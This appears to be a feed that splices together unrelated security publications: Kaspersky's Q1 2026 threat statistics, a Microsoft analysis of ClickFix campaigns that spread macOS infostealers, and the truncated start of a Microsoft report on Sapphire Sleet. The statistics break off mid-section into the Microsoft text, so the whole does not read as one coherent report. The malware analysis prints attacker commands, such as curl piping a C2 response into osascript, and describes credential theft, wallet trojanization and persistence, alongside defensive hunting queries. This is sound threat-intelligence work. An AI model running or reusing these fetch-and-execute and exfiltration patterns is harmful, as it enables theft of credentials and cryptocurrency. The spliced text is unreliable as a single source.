IT threat evolution in Q1 2026. Non-mobile statistics
IT threat evolution in Q1 2026. Mobile statistics

The statistics in this report are based on detection verdicts returned by Kaspersky products unless otherwise stated. The information was provided by Kaspersky users who consented to sharing statistical data.

Quarterly figures

In Q1 2026:

• Kaspersky products blocked more than 343 million attacks that originated with various online resources.
• Web Anti-Virus responded to 50 million unique links.
• File Anti-Virus blocked nearly 15 million malicious and potentially unwanted objects.
• 2938 new ransomware variants were detected.
• More than 77,000 users experienced ransomware attacks.
• 14% of all ransomware victims whose data was published on threat actors’ data leak sites (DLS) were victims of Clop.
• More than 260,000 users were targeted by miners.

Ransomware

Quarterly trends and highlights

Law enforcement success

In January 2026, it was reported that the FBI had seized the domains of the RAMP cybercrime forum, a major platform used extensively by ransomware developers to advertise their RaaS programs and to recruit affiliates. There has been no official statement from the FBI, nor is it clear if RAMP servers were seized. In a post on an external website, a RAMP moderator mentioned law enforcement agencies gaining control over the forum. The takedown disrupted a key element of the RaaS ecosystem, creating ripple effects for ransomware operators, affiliates, and initial access brokers.

A man suspected of links to the Phobos group was apprehended in Poland. He was charged with the creation, acquisition, and distribution of software designed for unlawfully obtaining information, including data that facilitates unauthorized access to information stored within a computer system.

In March, a Phobos ransomware administrator pleaded guilty to the creation and distribution of the Trojan, which had been used in international attacks dating back to at least November 2020.

In March, the U.S. Department of Justice charged a man who had acted as a negotiator for ransomware groups. The company he worked for specializes in cyberincident investigations. The prosecution alleges the suspect colluded with the BlackCat threat actor to share privileged insights into the ongoing progress of negotiations. Additionally, the suspect is alleged to have had a prior direct role in BlackCat attacks, serving as an affiliate for the RaaS operation.

In a separate development this March, a U.S. court sentenced an initial access broker associated with the Yanluowang ransomware group to 81 months of imprisonment. According to the U.S. Department of Justice, the convict facilitated dozens of ransomware attacks across the United States, resulting in over $9 million in actual loss and more than $24 million in intended loss.

Vulnerabilities and attacks

The Interlock group has been heavily exploiting the CVE-2026-20131 zero-day vulnerability in Cisco Secure FMC firewall management software since at least January 26, 2026. The vulnerability enabled arbitrary Java code execution with root privileges on the affected device. This campaign demonstrates the ongoing reliance on zero-day vulnerabilities for initial access, a focus on network appliances as high-value entry points, and the rapid weaponization of new vulnerabilities within the ransomware ecosystem.

The most prolific groups

This section highlights the most prolific ransomware gangs by number of victims added to each group’s DLS. This quarter, the Clop ransomware (14.42%) returned to the top of the rankings, displacing Qilin (12.34%), which had held the leading position in the previous reporting period. Following closely is a new threat actor, The Gentlemen (9.25%). Emerging no later than July 2025, the group had already surpassed the activity levels of mainstays such as Akira (7.25%) and INC Ransom (6.13%).

Number of each group’s victims according to its DLS as a percentage of all groups’ victims published on all the DLSs under review during the reporting period (download)

Number of new variants

In Q1 2026, Kaspersky solutions detected six new ransomware families and 2938 new modifications. Volumes have returned to Q3 2025 levels following a surge in Q4 2025.

Number of new ransomware modifications, Q1 2025 — Q1 2026 (download)

Number of users attacked by ransomware Trojans

Throughout Q1, our solutions protected 77,319 unique users from ransomware. Ransomware activity was highest in March, with 35,056 unique users encountering such attacks during the month.

Number of unique users attacked by ransomware Trojans, Q1 2026 (download)

Attack geography

TOP 10 countries and territories attacked by ransomware Trojans

* Excluded are countries and territories with relatively few (under 50,000) Kaspersky users.
** Unique users whose computers were attacked by ransomware Trojans as a percentage of all unique users of Kaspersky products in the country/territory.

TOP 10 most common families of ransomware Trojans

* Unique Kaspersky users attacked by the specific ransomware Trojan family as a percentage of all unique users attacked by this type of threat.

Miners

Number of new variants

In Q1 2026, Kaspersky solutions detected 3485 new modifications of miners.

Number of new miner modifications, Q1 2026 (download)

Number of users attacked by miners

In Q1, we detected attacks using miner programs on the computers of 260,588 unique Kaspersky users worldwide.

Number of unique users attacked by miners, Q1 2026 (download)

Attack geography

TOP 10 countries and territories attacked by miners

* Excluded are countries and territories with relatively few (under 50,000) Kaspersky users.
** Unique users whose computers were attacked by miners as a percentage of all unique users of Kaspersky products in the country/territory.

Attacks on macOS

In Q1 2026, Google uncovered a new cryptocurrency theft campaign. The scammers directed victims to a fraudulent video call, prompting them to execute malicious scripts under the guise of technical support fixes for connection problems.

In March, researchers with GTIG and iVerify reported the discovery of an in-the-wild exploit chain targeting both iOS and macOS devices. The exploit kit was apparently marketed on the dark web, providing threat actors with a suite of spyware capabilities alongside specialized cryptocurrency exfiltration modules. The exploit was delivered via drive-by downloads when victims visited various compromised websites. Our analysis confirmed that the toolkit included an updated version of a component previously identified in the Operation Triangulation attack chain.

Devices running macOS were similarly impacted by the high-profile supply chain attack targeting the Axios npm package, a widely used HTTP client for JavaScript. The installation of the infected package led to the deployment of a backdoor on macOS devices.

TOP 20 threats to macOS

Unique users* who encountered this malware as a percentage of all attacked users of Kaspersky security solutions for macOS (download)

* Data for the previous quarter may differ slightly from previously published data due to some verdicts being retrospectively revised.

The share of PasivRobber spyware attacks is beginning to decline, giving way to more traditional adware and Monitor-class software capable of tracking user activity. The popular Amos stealer also maintains its presence within the TOP 20.

Geography of threats to macOS

TOP 10 countries and territories by share of attacked users

* Unique users who encountered threats to macOS as a percentage of all unique Kaspersky users in the country/territory.

IoT threat statistics

This section presents statistics on attacks targeting Kaspersky IoT honeypots. The geographic data on attack sources is based on the IP addresses of attacking devices.

In Q1 2026, the share of devices attacking Kaspersky honeypots via the SSH protocol saw a significant increase compared to the previous reporting period.

Distribution of attacked services by number of unique IP addresses of attacking devices (download)

The distribution of attacks between Telnet and SSH maintained the ratio observed in Q4 2025.

Distribution of attackers’ sessions in Kaspersky honeypots (download)

TOP 10 threats delivered to IoT devices

Share of each threat delivered to an infected device as a result of a successful attack, out of the total number of threats delivered (download)

The primary shifts in the IoT threat distribution are linked to the activity of various Mirai botnet variants, although members of this family continue to account for the majority of the list. Furthermore, a new variant, Mirai.kl, surfaced in the rankings. We also observed a significant decline in NyaDrop botnet activity during Q1.

Attacks on IoT honeypots

The United States, the Netherlands, and Germany accounted for the highest proportions of SSH-based attacks during this period.

China continues to account for the largest proportion of Telnet attacks, though there was a marked increase in activity originating from Pakistan.

Attacks via web resources

The statistics in this section are based on detection verdicts by Web Anti-Virus, which protects users when suspicious objects are downloaded from malicious or infected web pages. These malicious pages are purposefully created by cybercriminals. Websites that host user-generated content, such as message boards, as well as compromised legitimate sites, can become infected.

TOP 10 countries and territories that served as sources of web-based attacks

The following statistics show the distribution by country/territory of the sources of internet attacks blocked by Kaspersky products on user computers (web pages redirecting to exploits, sites containing exploits and other malicious programs, botnet C&C centers, and so on). One or more web-based attacks could originate from each unique host.

To determine the geographic source of web attacks, we matched the domain name with the real IP address where the domain is hosted, then identified the geographic location of that IP address (GeoIP).

In Q1 2026, Kaspersky solutions blocked 343,823,407 attacks launched from internet resources worldwide. Web Anti-Virus was triggered by 49,983,611 unique URLs.

Web-based attacks by country/territory, Q1 2026 (download)

Countries and territories where users faced the greatest risk of online infection

To assess the risk of malware infection via the internet for users’ computers in different countries and territories, we calculated the share of Kaspersky users in each location on whose computers Web Anti-Virus was triggered during the reporting period. The resulting data provides an indication of the aggressiveness of the environment in which computers operate in different countries and territories.

This ranked list includes only attacks by malicious objects classified as Malware. Our calculations leave out Web Anti-Virus detections of potentially dangerous or unwanted programs, such as RiskTool or adware.

* Excluded are countries and territories with relatively few (under 10,000) Kaspersky users.
** Unique users targeted by web-based Malware attacks as a percentage of all unique users of Kaspersky products in the country/territory.

On average during the quarter, 4.73% of users’ computers worldwide were subjected to at least one Malware web attack.

Local threats

Statistics on local infections of user computers are an important indicator. They include objects that penetrated the target computer by infecting files or removable media, or initially made their way onto the computer in non-open form. Examples of the latter are programs in complex installers and encrypted files.

Data in this section is based on analyzing statistics produced by anti-virus scans of files on the hard drive at the moment they were created or accessed, and the results of scanning removable storage media. The statistics are based on detection verdicts from the On-Access Scan (OAS) and On-Demand Scan (ODS) modules of File Anti-Virus and include detections of malicious programs located on user computers or removable media connected to the computers, such as flash drives, camera memory cards, phones, or external hard drives.

In Q1 2026, our File Anti-Virus detected 15,831,319 malicious and potentially unwanted objects.

Countries and territories where users faced the highest risk of local infection

For each country and territory, we calculated the percentage of Kaspersky users whose computers had the File Anti-Virus triggered at least once during the reporting period. This statistic reflects the level of personal computer infection in different countries and territories around the world.

Note that this ranked list includes only attacks by malicious objects classified as Malware. Our calculations leave out File Anti-Virus detections of potentially dangerous or unwanted programs, such as RiskTool or adware.

* Excluded are countries and territories with relatively few (under 10,000) Kaspersky users.
** Unique users on whose computers local Malware threats were blocked, as a percentage of all unique users of Kaspersky products in the country/territory.

On average worldwide, Malware local threats were detected at least once on 11.55% of users’ computers during Q1.

Russia scored 11.92% in these rankings.

Microsoft researchers continue to observe the evolution of an infostealer campaign distributing ClickFix‑style instructions and targeting macOS users. In this recent iteration, threat actors attempt to take advantage of users who are looking for helpful advice on macOS-related issues (for example, optimizing their disk space) in blog sites and other user-driven content platforms by hosting their malicious commands in these sites.

These commands, which are purported to install system utilities, load an infostealing malware like Macsync, Shub Stealer, and AMOS into the targets’ devices instead. The malware then collects and exfiltrates data, including media files, iCloud data and Keychain entries, and cryptocurrency wallet keys. In some campaigns, the malware replaces legitimate cryptocurrency wallet apps with trojanized versions, putting users at an added security risk.  

Prior iterations of this campaign delivered the infostealers through disk image (.dmg) files that required users to manually install an application. This recent activity reflects a shift in tradecraft, where threat actors instruct users to run Terminal commands that leverage native utilities to retrieve remotely hosted content, followed by script‑based loader execution.

Unlike application bundles opened through Finder—which might be subjected to Gatekeeper verification checks such as code signing and notarization—scripts downloaded and launched directly through Terminal (for example, by using osascript or shell interpreters) don’t undergo the same evaluation. This delivery mechanism enables attackers to initiate malware execution through user‑driven command invocation, reducing reliance on traditional application delivery methods and increasing the likelihood of successful execution.

In this blog, we take a look at three campaigns that use this new tradecraft. We also provide mitigation guidance and detection details to help surface this threat.

Activity overview

Initial access

Standalone websites were seen hosting pages that included a Base64-encrypted instruction for end users to run. Some sites present this information in multiple languages. As of this writing, these websites that we’ve observed are either already down or have been reported.

In other instances, content that included instructions leading to malware were observed to be hosted on Craft, a note-taking platform that lets writers and content creators take notes and distribute their content. We’ve observed that pages like macclean[.]craft[.]me were taken down relatively quickly.

Threat actors were also publishing fake troubleshooting posts on the popular blogging site Medium to distribute ClickFix instructions. These posts claim to solve common macOS problems. Blog sites such as macos-disk-space[.]medium[.]com instruct users to “fix” an issue by pasting a command into Terminal. The command then decodes and runs an AppleScript or Bash loader. These blogs were reported and taken down quickly.

We observed three distinct execution paths leveraging different infrastructure. We’re classifying these as a loader install campaign, a script install campaign, and a helper install campaign. In the loader and helper campaigns, we observed that a random seven-digit value (hereinafter referred to as random IDs), was used in data staging, marking the staging folders as /tmp/shub_<random ID> or/tmp/<random ID>.

The underlying goal remains the same in these campaigns: sensitive data collection, persistence, and exfiltration.

The following table summarizes the key differences between the campaigns. We discuss the details of each of these campaigns in the succeeding sections of this blog.

Loader install campaign

Since February 2026, Microsoft researchers have observed a campaign that requests a loader shell from the attacker’s infrastructure using curl once a user copies and runs ClickFix commands using Terminal. It leads to further execution of a second-stage shell script. 

This second shell script is a zsh loader that decodes and decompresses an embedded payload using Base64 and Gzip, respectively. It then executes the payload using eval.

The next-stage script also functions as a macOS reconnaissance and execution ‑control loader that first fingerprints the system by collecting the following information:

• Keyboard locale
• Hostname
• Operating system version
• External IP address

It then builds and sends a JSON object to an attacker‑controlled server containing an event name (loader_requested or cis_blocked) along with this telemetry. It also uses the presence of Russian/CIS keyboard layouts as a deliberate kill switch, reporting a cis_blocked event and stop the execution.

If the system isn’t blocked, the script silently beacons a “loader requested” event and then downloads and executes a remote AppleScript payload directly in memory using osascript.

AppleScript infostealer

This multi-stage macOS AppleScript stealer employs user interaction-based credential capture, conducts broad data collection across browsers, Keychains, messaging applications, wallet artifacts, and user documents, and stages the collected data into a compressed archive for exfiltration to a remote endpoint. The malware further tampers with locally installed applications to intercept sensitive data, establishes persistence through a masqueraded LaunchAgent that mimics legitimate software updates, and maintains remote command execution capabilities by periodically polling a server for instructions, which are executed at runtime.

Data collection:  tmp/shub_<random ID> staging

We observed that the stealer self-identifies as “SHub Stealer” (it writes the marker SHub into its staging directory). It prompts the target user to enter their password, pretending to install a “helper” utility. It then validates the entered password using the command dscl . -authonly <username>. Upon successful validation, it sends a password_obtained event to its C2 infrastructure.

The malware stages collected data under a /tmp/shub_<random ID>/ folder. The collected data includes:

• Browser credentials
• Notes
• Media files
• Telegram data
• Cryptocurrency wallets
• Keychain entries
• iCloud account data

The stealer also collects documents smaller than 2 MB and stages them within a FileGrabber repository located at /tmp/shub_<random ID>/FileGrabber/.

The targeted file types are:

• txt
• pdf
• docx
• wallet
• key
• keys
• doc
• jpeg
• png
• kdbx
• rtf
• jpg
• seed

Once the data collection is complete, data is compressed and exfiltrated. The stealer deletes staging artifacts to reduce forensic evidence.

Wallet exfiltration and trojanization

Subsequently, the stealer probes the system for the presence of any of the following cryptocurrency wallet applications:

• Electrum
• Coinomi
• Exodus
• Atomic
• Wasabi
• Ledger Live
• Monero
• Bitcoin
• Litecoin
• DashCore
• lectrum_LTC
• Electron_Cash
• Guarda
• Dogecoin
• Trezor_Suite
• Sparrow

When it finds any of these applications, it stages their data for exfiltration.

The stealer was also observed replacing legitimate cryptocurrency wallets apps with attacker-controlled or trojanized ones:

• Ledger Wallet.app is replaced by app.zip fetched from <C2 domain>/zxc/app.zip
• Trezor suite.app is replaced by apptwo.zip fetched from <C2 domain>/zxc/apptwo.zip
• Exodus.app is replaced by appex.zip fetched from <C2 domain>/zxc/appex.zip

These trojanized cryptocurrency wallet applications pose a serious risk to their users who might be unaware of the stealthy compromise and continue to use and transact with them.

Persistence

For persistence, the malware creates an additional script within the newly created ~/Library/Application Support/Google/GoogleUpdate.app/Contents/MacOS/ folder.

A malicious implant named GoogleUpdate is configured to RunAtLoad disguised as an agent. Microsoft Defender Antivirus detects this implant as Trojan:MacOS/SuspMalScript.

A new property list (plist), /Library/LaunchAgents/com.google.keystone.agent.plist,is then staged to run this agent.

The executable is then given permission to run with the following command:

Once com.google.keystone.agent.plist loads, it functions as a backdoor-style bot component that registers the infected macOS system with attacker infrastructure at <C2 domain>/api/bot/heartbeat, uniquely identifies the host using a hardware-derived ID, and periodically beacons system metadata such as hostname, operating system version, and external IP address.

The C2 server can return Base64-encoded instructions, which the script decodes and executes locally and deletes traces, enabling remote command execution on demand. This process creates a persistent remote-control channel, where the attacker could push arbitrary shell code to the infected device at any time.

Script install campaign

In April 2026, Microsoft researchers observed an ongoing campaign that runs a heavily obfuscated infostealer when users run it through Terminal.

The attack begins with a social‑engineering instruction containing a Base64‑encoded command.

When decoded, this instruction resolves a one‑line shell pipeline that retrieves a remote script, which is then handed off immediately for execution. By encoding the command and streaming its output directly into the shell, the attacker avoids placing a recognizable payload on disk during the initial stage.

The retrieved script.sh payload is launched directly from the network stream, with no intermediate file written to disk. It’s responsible for establishing persistence and deploying follow-on functionality. It delivers the second-stage Base64 encoded script under a plist staged at ~/Library/LaunchAgent/com.<random name>.plist.

The persisted AppleScript is heavily obfuscated in its original form (character ID concatenation). After decoding, the key logic follows:

This AppleScript functions as a C2 discovery and execution orchestrator for a macOS malware campaign. The AppleScript is used as the control layer and standard Unix tools for network interaction and execution. Its first role is C2 discovery. It iterates over a list of potential server identifiers (for example {0x666[.]info}), constructs candidate URLs (http://<value>/), and probes them using curl with a realistic Chrome macOS user agent and a benign POST body (-d “check”). This connectivity test is performed through the following command:

/usr/bin/curl -s -H “<User-Agent>” -d “check” –connect-timeout 5 –max-time 10 <candidate_url>

If none of the hard‑coded infrastructure responds successfully, the script falls back to Telegram‑based C2 discovery. It fetches a Telegram bot page using curl -s hxxps://t[.]me/ax03bot and extracts a hidden server identifier embedded in an HTML <span dir=”auto”> element using sed. This lets the attacker rotate C2 infrastructure dynamically.

Once a working C2 endpoint is identified, the script moves into execution orchestration. It sends a final POST request to the resolved server containing a transaction ID (txid) and module identifier, then immediately pipes the server response into osascript for execution:

curl -s -X POST <C2_URL> -H “<User-Agent>” -d “<txid>&module” | osascript

This command enables arbitrary AppleScript execution directly from the server, fully in memory, with no payload written to disk. Output and errors are suppressed, and execution only proceeds if all connectivity checks succeed. Overall, this isn’t a simple downloader but a resilient, infrastructure‑aware loader designed to dynamically discover C2 endpoints, evade takedowns, and execute attacker‑controlled AppleScript logic on demand.

We observed data exfiltration to the attacker’s infrastructure on a C2/upload.php endpoint leveraging curl.

Helper install campaign (AMOS)

Starting at the end of January 2026 , another ClickFix campaign relied on an executable file named helper or update to run. In this campaign, once a user ran the encoded ClickFix instructions, a first-stage script decoded a Base64 payload and then decompressed the payload using Gunzip.

The first-stage script led to the retrieval of the second stage-malicious Mach Object (Mach-O) executable into the newly created /tmp/<file name> folder.

In February 2026, this campaign retrieved the payload under a /tmp/update folder.

This malicious executable file has its extended properties removed and is then given permission to run and launch on the victim’s device.

Virtualization detection

The infection chain begins with an AppleScript based stager that uses array subtraction obfuscation to conceal its strings and commands. This stager performs an anti-analysis gate by invoking system_profiler and inspecting both memory and hardware profiles. Specifically, it searches for common virtualization indicators such as QEMU, VMware, and KVM. In addition to explicit hypervisor vendor strings, the script also checks for a set of generic hardware artifacts commonly observed in virtualized or analysis environments, including:

• Chip: Unknown
• Intel Core 2
• Virtual Machine
• VirtualMac

If any of these indicators are present, execution is terminated early, preventing further stages from running.

Data collection and exfiltration

Like the loader install campaign, the stealer prompts the user to enter their password. It validates locally whether the entered password is correct using dscl utility.

After capturing the target user’s password, the malware then focuses on stealing high-value credentials and financial artifacts. It copies macOS Keychain databases, enabling access to stored website passwords, application secrets, and WiFi credentials.

It also collects browser authentication material from Chromium‑based browsers, including saved usernames and passwords, session cookies, autofill data, and browser profile state that can be reused for account takeover. In addition, the script targets cryptocurrency wallets, copying data associated with both browser‑based and desktop wallets. This includes browser extensions such as MetaMask and Phantom, as well as desktop wallets including Exodus and Electrum.

 The stealer compresses collected data into a ZIP file /tmp.out.zip, which is then exfiltrated to a <C2 domain>/contact> endpoint. The stealer removes staging artifacts to reduce forensic evidence.

Wallet exfiltration and trojanization

Similar to the loader campaign, the stealer in the helper also replaces legitimate wallet apps with attackers-controlled ones:

• Ledger Wallet.app is replaced by app.zip fetched from <C2 domain>/zxc.app.zip.
• Trezor suite.app is replaced by apptwo.zip fetched from <C2 domain>/zxc/apptwo.zip

Backdoor deployment and persistence

To maintain long‑term access to infected systems, the helper campaign deploys a multi‑stage persistence mechanism built around two cooperating components: a primary backdoor binary and a lightweight execution wrapper.

Download and execution of the backdoor component (.mainhelper)

The persistence chain begins with the download of a second‑stage backdoor implant named .mainhelper into the current user’s home directory. As shown in Figure 22, the obfuscated AppleScript issues a network retrieval command that fetches this Mach‑O executable from an attacker-controlled endpoint (<C2 domain>/zxc/kito) and writes it as a hidden file under the user profile.

Once it’s given attributes and permissions to run, the /.mainhelper implant joins the compromised device to a C2 endpoint hxxp://45.94.47[.]204/api/. The implant executes tasks from the attacker, providing a remote-control capability to the attacker on the compromised system.

Creation of the execution wrapper (.agent)

In addition to the backdoor binary, the stealer creates a secondary file named .agent, also placed in the user’s home directory. Unlike .mainhelper, .agent isn’t a full implant. Instead, it is a lightweight shell wrapper whose sole purpose is to launch and supervise the .mainhelper process. The script writes the wrapper to disk and configures it so that, if the backdoor process terminates or crashes, .agent relaunches it.

LaunchDaemon installation (com.finder.helper.plist)

After prompting the victim for their macOS password and validating it, the script escalates privileges to establish system-level persistence. It constructs a LaunchDaemon plist, stages the XML content to a temporary file (/tmp/starter), and then writes it to /Library/LaunchDaemons/com.finder.helper.plist.

LaunchDaemon plist staging and loading

LaunchDaemon is configured to run /bin/bash with the path to ~/.agent as its argument, rather than invoking the backdoor binary directly. As shown in Figure 25, the script sets correct ownership, loads the daemon using launchctl, and enables both RunAtLoad and KeepAlive.

As a result, on every system boot, launchd runs the .agent wrapper with root privileges, which in turn ensures that the .mainhelper backdoor process is running.

Mitigation and protection guidance

Apple Xprotect has updated signatures to protect users against this threat. Additionally, in macOS 26.4 and later, Apple has introduced a mitigation that directly addresses the ClickFix delivery mechanism.

When a user attempts to paste a potentially malicious command into Terminal, they will now see the following prompt:

Possible malware, Paste blocked

Your Mac has not been harmed. Scammers often encourage pasting text into Terminal to try and harm your Mac or compromise your privacy. These instructions are commonly offered via websites, chat agents, apps, files, or a phone call.

Organizations can also follow these recommendations to mitigate threats associated with this threat:

• Educate users. Warn them against running instructions from untrusted sources.
• Monitor Terminal usage. Alert on suspicious Terminal or shell sessions spawned by installers or user apps.
• Detect native tool abuse. Flag unusual sequences of macOS utilities (curl, Base64, Gunzip, osascript, and dscl).
• Inspect outbound downloads. Monitor curl activity fetching encoded or compressed payloads from unknown domains.
• Protect credential stores. Detect unauthorized access to keychain items, browser data, SSH keys, and cloud credentials.
• Monitor data staging. Alert on archive creation of sensitive artifacts followed by HTTP POST exfiltration.
• Enable endpoint protection. Ensure macOS endpoint detection and response (EDR) or extended detection and response (XDR) monitors script execution and living‑off‑the‑land behavior.
• Restrict C2 traffic. Block outbound connections to suspicious or newly registered domains.

Microsoft also recommends the following mitigations to reduce the impact of this threat.

• Turn on cloud-delivered protection in Microsoft Defender Antivirus or the equivalent for your antivirus product to cover rapidly evolving attacker tools and techniques. Cloud-based machine learning protections block a majority of new and unknown threats.
• Run EDR in block mode so that Microsoft Defender for Endpoint can block malicious artifacts, even when your antivirus does not detect the threat or when Microsoft Defender Antivirus is running in passive mode. EDR in block mode works behind the scenes to remediate malicious artifacts that are detected post-breach.
• Allow investigation and remediation in full automated mode to allow Defender for Endpoint to take immediate action on alerts to resolve breaches, significantly reducing alert volume.
• Turn on tamper protection features to prevent attackers from stopping security services. Combine tamper protection with the DisableLocalAdminMerge setting to mitigate attackers from using local administrator privileges to set antivirus exclusions.

Microsoft Defender detections

Microsoft Defender customers can refer to the list of applicable detections below. Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog.

Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence.

Threat intelligence reports

Microsoft Defender customers can use the following threat analytics reports in the Defender portal (requires license for at least one Defender product) to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide the intelligence, protection information, and recommended actions to help prevent, mitigate, or respond to associated threats found in customer environments.

Microsoft Defender threat analytics

From ClickFix to code signed: the quiet shift of MacSync Stealer malware.

Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat actor.

Hunting queries

Microsoft Defender

Microsoft Defender customers can run the following queries to find related activity in their networks:

Initial access

//Loader campaign installation
DeviceNetworkEvents
| where InitiatingProcessCommandLine has_any ("loader.sh?build=","payload.applescript?build=")

// Helper campaign installation
DeviceFileEvents
| where InitiatingProcessCommandLine  has_all("curl", "/tmp/helper","-o")

//Install of /update install campaign
DeviceFileEvents
| where InitiatingProcessCommandLine  has_all("curl", "/tmp/update","-o")
| where FileName== "update"

Exfiltration to C2 infrastructure

//loader campaign

DeviceProcessEvents
| where ProcessCommandLine has_all("curl", "post","/debug/event", "build_hash")

DeviceProcessEvents
| where ProcessCommandLine  has_all("curl","/tmp","post","-H","-f","build","/gate")
| where not (ProcessCommandLine has_any(".claude/shell-snapshots")) 

//script campaign 

DeviceNetworkEvents
| where InitiatingProcessCommandLine has_all ("curl","-F","txid","zip","max-time")

//helper campaign
DeviceProcessEvents
| where InitiatingProcessCommandLine has_all ("curl","post","-H","user","buildid","cl","cn","/tmp/")

Bot C2 installation and communication

//loader campaign - bot install
DeviceFileEvents
| where InitiatingProcessCommandLine =="base64 -d"
| where FolderPath endswith @"Library/Application Support/Google/GoogleUpdate.app/Contents/MacOS/GoogleUpdate"

//loader campaign – bot communication
DeviceProcessEvents
 | where ProcessCommandLine  has_all("/api/bot/heartbeat","post","curl")

//script campaign second stage execution 
DeviceProcessEvents
 | where ProcessCommandLine  has_all("curl","POST","txid","osascript","bmodule","max-time")

//helper campaign - bot install 

//Alternate query for helper or bot update installation
DeviceFileEvents
| where  InitiatingProcessCommandLine has_all ("curl","zxc","kito")

DeviceProcessEvents
| where InitiatingProcessFileName =="osascript"
| where  ProcessCommandLine  has_all ("sh","echo","-c", "cp","/tmp/starter",".plist")

Indicators of compromise

Domains distributing ClickFix

Loader campaign

Script campaign

Helper campaign

Update campaign infrastructure

Persistence and bot execution

Payloads

File indicators of attack

References

• Fake CleanMyMac site installs SHub Stealer and backdoors crypto wallets. Malwarebytes labs (published 2026-03-06)
• Malvertising Campaign Spreads AMOS ‘malext’ macOS Infostealer via Fake Text-Sharing Ads. gbhackers (published 2026-03-03)
• ClickFix Is Targeting Mac Users Through Google Ads and Fake AI Guides. IzooLogic(published 2026-02-18)
• Phantom in the vault: Obsidian abused to deliver PhantomPulse RAT. elastic security (published 2026-04-13)
• https://www.iru.com/blog/atomic-stealer-amos-returns (published 2026-03-31)

This research is provided by Microsoft Defender Security Research with contributions from Arlette Umuhire Sangwa, Kajhon Soyini, Srinivasan Govindarajan, Michael Melone, and  members of Microsoft Threat Intelligence.

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The post ClickFix campaign uses fake macOS utilities lures to deliver infostealers appeared first on Microsoft Security Blog.

Executive summary

Microsoft Threat Intelligence uncovered a macOS‑focused cyber campaign by the North Korean threat actor Sapphire Sleet that relies on social engineering rather than software vulnerabilities. By impersonating a legitimate software update, threat actors tricked users into manually running malicious files, allowing them to steal passwords, cryptocurrency assets, and personal data while avoiding built‑in macOS security checks. This activity highlights how convincing user prompts and trusted system tools can be abused, and why awareness and layered security defenses remain critical.

Microsoft Threat Intelligence identified a campaign by North Korean state actor Sapphire Sleet demonstrating new combinations of macOS-focused execution patterns and techniques, enabling the threat actor to compromise systems through social engineering rather than software exploitation. In this campaign, Sapphire Sleet takes advantage of user‑initiated execution to establish persistence, harvest credentials, and exfiltrate sensitive data while operating outside traditional macOS security enforcement boundaries. While the techniques themselves are not novel, this analysis highlights execution patterns and combinations that Microsoft has not previously observed for this threat actor, including how Sapphire Sleet orchestrates these techniques together and uses AppleScript as a dedicated, late‑stage credential‑harvesting component integrated with decoy update workflows.

After discovering the threat, Microsoft shared details of this activity with Apple as part of our responsible disclosure process. Apple has since implemented updates to help detect and block infrastructure and malware associated with this campaign. We thank the Apple security team for their collaboration in addressing this activity and encourage macOS users to keep their devices up to date with the latest security protections.

This activity demonstrates how threat actors continue to rely on user interaction and trusted system utilities to bypass macOS platform security protections, rather than exploiting traditional software vulnerabilities. By persuading users to manually execute AppleScript or Terminal‑based commands, Sapphire Sleet shifts execution into a user‑initiated context, allowing the activity to proceed outside of macOS protections such as Transparency, Consent, and Control (TCC), Gatekeeper, quarantine enforcement, and notarization checks. Sapphire Sleet achieves a highly reliable infection chain that lowers operational friction and increases the likelihood of successful compromise—posing an elevated risk to organizations and individuals involved in cryptocurrency, digital assets, finance, and similar high‑value targets that Sapphire Sleet is known to target.

In this blog, we examine the macOS‑specific attack chain observed in recent Sapphire Sleet intrusions, from initial access using malicious .scpt files through multi-stage payload delivery, credential harvesting using fake system dialogs, manipulation of the macOS TCC database, persistence using launch daemons, and large-scale data exfiltration. We also provide actionable guidance, Microsoft Defender detections, hunting queries, and indicators of compromise (IOCs) to help defenders identify similar threats and strengthen macOS security posture.

Sapphire Sleet’s campaign lifecycle

Initial access and social engineering

Sapphire Sleet is a North Korean state actor active since at least March 2020 that primarily targets the finance sector, including cryptocurrency, venture capital, and blockchain organizations. The primary motivation of this actor is to steal cryptocurrency wallets to generate revenue, and target technology or intellectual property related to cryptocurrency trading and blockchain platforms.

Sapphire Sleet operates a well‑documented social engineering playbook in which the threat actor creates fake recruiter profiles on social media and professional networking platforms, engages targets in conversations about job opportunities, schedules a technical interview, and directs targets to install malicious software, which is typically disguised as a video conferencing tool or software developer kit (SDK) update.

In this observed activity, the target was directed to download a file called Zoom SDK Update.scpt—a compiled AppleScript that opens in macOS Script Editor by default. Script Editor is a trusted first-party Apple application capable of executing arbitrary shell commands using the do shell script AppleScript command.

Lure file and Script Editor execution

The malicious Zoom SDK Update.scpt file is crafted to appear as a legitimate Zoom SDK update when opened in the macOS Script Editor app, beginning with a large decoy comment block that mimics benign upgrade instructions and gives the impression of a routine software update. To conceal its true behavior, the script inserts thousands of blank lines immediately after this visible content, pushing the malicious logic far below the scrollable view of the Script Editor window and reducing the likelihood that a user will notice it.

Hidden beneath this decoy, the script first launches a harmless looking command that invokes the legitimate macOS softwareupdate binary with an invalid parameter, an action that performs no real update but launches a trusted Apple‑signed process to reinforce the appearance of legitimacy. Following this, the script executes its malicious payload by using curl to retrieve threat actor‑controlled content and immediately passes the returned data to osascript for execution using the run script result instruction. Because the content fetched by curl is itself a new AppleScript, it is launched directly within the Script Editor context, initiating a payload delivery in which additional stages are dynamically downloaded and executed.

Execution and payload delivery

Cascading curl-to-osascript execution

When the user opens the Zoom SDK Update.scpt file, macOS launches the file in Script Editor, allowing Sapphire Sleet to transition from a single lure file to a multi-stage, dynamically fetched payload chain. From this single process, the entire attack unfolds through a cascading chain of curl commands, each fetching and executing progressively more complex AppleScript payloads. Each stage uses a distinct user-agent string as a campaign tracking identifier.

The main payload fetched by the mac-cur1 user agent is the attack orchestrator. Once executed within the Script Editor, it performs immediate reconnaissance, then kicks off parallel operations using additional curl commands with different user-agent strings.

Note the URL path difference: mac-cur1 through mac-cur3 fetch from /version/ (AppleScript payloads piped directly to osascript for execution), while mac-cur4 and mac-cur5 fetch from /status/ (ZIP archives containing compiled macOS .app bundles).

The following table summarizes the curl chain used in this campaign.

Reconnaissance and C2 registration

